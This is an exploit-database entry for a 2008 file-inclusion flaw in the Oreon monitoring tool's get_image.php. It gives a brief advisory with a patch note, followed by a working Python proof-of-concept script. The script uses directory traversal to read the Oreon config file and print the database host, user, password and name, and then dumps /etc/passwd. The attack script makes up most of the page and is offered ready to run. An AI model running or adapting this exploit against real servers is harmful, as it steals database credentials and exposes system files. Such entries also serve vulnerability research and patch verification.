Oreon - exploit.company

vendor:

Oreon

by:

Julien CAYSSOL

7.5

CVSS

HIGH

Remote File Inclusion

CWE

Product Name: Oreon

Affected Version From: 2.4.2001

Affected Version To: 2.4.2001

Patch Exists: YES

Related CWE: N/A

CPE: a:oreon:oreon

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

Oreon <= 2.4.1 (get_image.php) Remote File Inclusion Vulnerability

Oreon is prone to a remote file-inclusion vulnerability because it fails to properly sanitize user-supplied input. An attacker can exploit this issue to execute arbitrary PHP code within the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

Mitigation:

The vendor has released a patch to address this issue. Users should upgrade to the latest version of Oreon.

Source

Exploit-DB raw data:

#!/usr/bin/python

# Date : 20/01/2008
# Author : Julien CAYSSOL <julien@aqwz.com>

import sys, urllib2,re


user_agent =  'Mozilla/6.0 (compatible; MSIE 6.0; Windows NT)'
headers =  { 'User-Agent'  : user_agent ,
                                'Accept-Charset' : 'ISO-8859-15' }


if __name__ == "__main__":

    if len(sys.argv)==2:
        host = sys.argv[1]
        print " [+] Host : " + host

        url = "http://"+sys.argv[1]+"/include/doc/get_image.php?lang=&img=../../www/oreon.conf.php"
        req = urllib2.Request(url, None, headers)
        html = urllib2.urlopen(req).read()
        html = re.sub('\n','',html)
        ident =re.findall('\$conf_oreon\[\'host\'\] = "(.*?)";\$conf_oreon\[\'user\'\] = "(.*?)";\$conf_oreon\[\'password\'\] = "(.*?)";\$conf_oreon\[\'db\'\] = "(.*?)";',html)
        print " [*] Result :  "
        print " + DB Host : "+ident[0][0]
        print " + DB Name : "+ident[0][3]
        print " + DB user : "+ident[0][1]
        print " + DB pass : "+ident[0][2]

        print " [*] /etc/passwd for Fun"
        url = "http://"+sys.argv[1]+"/include/doc/get_image.php?lang=&img=../../../../../etc/passwd"
        req = urllib2.Request(url, None, headers)
        html = urllib2.urlopen(req).read()
        print html

    else:
        print "./Poc.py HOST"

# milw0rm.com [2008-02-28]